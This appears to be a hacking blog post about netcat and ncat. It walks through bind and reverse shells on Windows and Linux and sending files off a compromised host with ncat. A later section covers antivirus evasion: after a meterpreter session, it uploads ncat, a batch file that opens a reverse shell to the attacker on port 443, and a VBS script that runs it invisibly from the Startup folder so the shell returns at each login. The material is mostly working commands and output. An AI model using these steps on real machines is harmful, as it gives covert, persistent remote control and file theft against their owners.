control – netcat

Netcat 1.10
===========                                                        /\_/\       
                                                                  / 0 0 \      
Netcat is a simple Unix utility which reads and writes data      ====v====     
across network connections, using TCP or UDP protocol.            \  W  /      
It is designed to be a reliable "back-end" tool that can          |     |     _
be used directly or easily driven by other programs and           / ___ \    / 
scripts.  At the same time, it is a feature-rich network         / /   \ \  |  
debugging and exploration tool, since it can create almost      (((-----)))-'  
any kind of connection you would need and has several            /             
interesting built-in capabilities.  Netcat, or "nc" as the      (      ___     
actual program is named, should have been supplied long ago      \__.=|___E    
as another one of those cryptic but standard Unix tools.      

Windows 
C:\Documents and Settings\host\Desktop>nc -lvvp 4444 -e cmd.exe

Linux
root@bt:~# nc -v 192.168.1.2 4444
10.255.245.136: inverse host lookup failed: Unknown server error : 
Connection timed out
(UNKNOWN) [192.168.1.2] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\host\Desktop>

------------------------------------------------------------

Windows

C:\Documents and Settings\host\Desktop>nc -lvvp 4444
listening on [any] 4444 ...

Linux

root@bt:~# nc -v 192.168.1.4 4444 -e /bin/bash
10.255.245.136: inverse host lookup failed: Unknown server error : 
Connection timed out
(UNKNOWN) [192.168.1.4] 4444 (?) open

Back on windows type ifconfig

C:\Documents and Settings\host\Desktop>nc -lvvp 4444
listening on [any] 4444 ...
192.168.1.4: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.255.245.136] from (UNKNOWN) [192.168.1.4] 59987: NO_DATA

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:01:02:03:04:05
          inet addr:192.168.1.4  Bcast:10.255.245.255  Mask:255.255.255.0

------------------------------------------------------------
to make a windows machine connect back to backtrack machine.

open terminal and type in nc -lvvp 80

root@bt:~# nc -lvvp 80
listening on [any] 80 ...

then on the windows machine typing the following will make it 
dial back to your machine.

ncat -v your-ip-address 80 -e cmd.exe

C:\Program Files\Nmap>ncat -v your-ip-address 80 -e cmd.exe
Ncat: Version 6.00 ( http://nmap.org/ncat )
Ncat: Connected to your-ip-address:80.

The Windows machine should now have connected to you 
you should be able to see this in the open window on your backtrack machine.
==============================================

Once connected you may want to send files back from the windows machine to backtrack

open a new Window in backtrack type in

ncat -v -lp 2223 > test-doc.txt

root@bt:~# ncat -v -lp 2223 > test-doc.txt
Ncat: Version 5.61TEST4 ( http://nmap.org/ncat )
Ncat: Listening on :::2223
Ncat: Listening on 0.0.0.0:2223

In the window that has the connection to the Windows machine 
move to the directory that has the file you want and type in 

ncat --send-only your-ip-address 2223 < test-doc.txt

C:\Program Files\Cisco Systems\VPN Client\Profiles>ncat --send-only your-ip-address 2223 < test-doc.txt
ncat --send-only your-ip-address 2223 < test-doc.txt

then go to your root folder in backtrack and look for the file 
you moved across here it was called test-doc.txt

you can move any file not just .txt!

==============================================
Linux - Linux

root@bt:~# nc -lvvp 4444

root@bt:~# nc -v 192.168.1.4 4444 -e /bin/bash

==============================================

Continued AV Bypass testing.

Testing with Win 7

Were not ready to release the initial exploit that helped get us to a meterpreter session.

If honest because it does not trigger under any AV.

Once exploited uploading the following listed does not trigger AV
All files can be found by installing nmap on a windows machine. Open the installed folder and copy out what you require.

meterpreter > upload /root/nmap/ C:\
[*] uploading : /root/nmap//ncat.exe -> C:\\ncat.exe
[*] uploaded : /root/nmap//ncat.exe -> C:\\ncat.exe
[*] uploading : /root/nmap//libeay32.dll -> C:\\libeay32.dll
[*] uploaded : /root/nmap//libeay32.dll -> C:\\libeay32.dll
[*] uploading : /root/nmap//VBS.vbs -> C:\\VBS.vbs
[*] uploaded : /root/nmap//VBS.vbs -> C:\\VBS.vbs
[*] uploading : /root/nmap//Notes -> C:\\Notes
[*] uploaded : /root/nmap//Notes -> C:\\Notes
[*] uploading : /root/nmap//nc.bat -> C:\\nc.bat
[*] uploaded : /root/nmap//nc.bat -> C:\\nc.bat
[*] uploading : /root/nmap//ssleay32.dll -> C:\\ssleay32.dll
[*] uploaded : /root/nmap//ssleay32.dll -> C:\\ssleay32.dll
[*] uploading : /root/nmap//nmap.exe -> C:\\nmap.exe
[*] uploaded : /root/nmap//nmap.exe -> C:\\nmap.exe

————————————————————
nc.bat script,

C:\ncat.exe -v 10.255.245.135 443 -e cmd.exe

VBS.vbs script used to run the nc.bat script invisibly,

Set WshShell = CreateObject(“WScript.Shell” )
WshShell.Run chr(34) & “C:\nc.bat” & Chr(34), 0
Set WshShell = Nothing

————————————————————
Gaining shell so we can move VBS.vbs to the start up folder. Making the script trigger each time user logs in.

meterpreter > execute -f cmd.exe -c
Process 3176 created.
Channel 8 created.

meterpreter > shell
Process 3864 created.
Channel 11 created.
Microsoft Windows [Version 6]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\test\Documents>move C:\VBS.vbs “C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”

1 file(s) moved.

————————————————–

Rebooting the Win 7 box to test if the start up script works.

C:\Users\test\Documents>shutdown -r -t 0

————————————————–

Back on backtrack open a new terminal and set up nc listener.
Once the person reboots back into the account the VBS.vbs will run

root@bt:~# nc -lvvp 443
listening on [any] 443 …
Remote-IP: inverse host lookup failed: Unknown server error : Connection timed out
connect to [10.255.245.135] from (UNKNOWN) [Remote-IP] 49156
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Updates

https://myexploit.wordpress.com/control-netcat-av-bypass/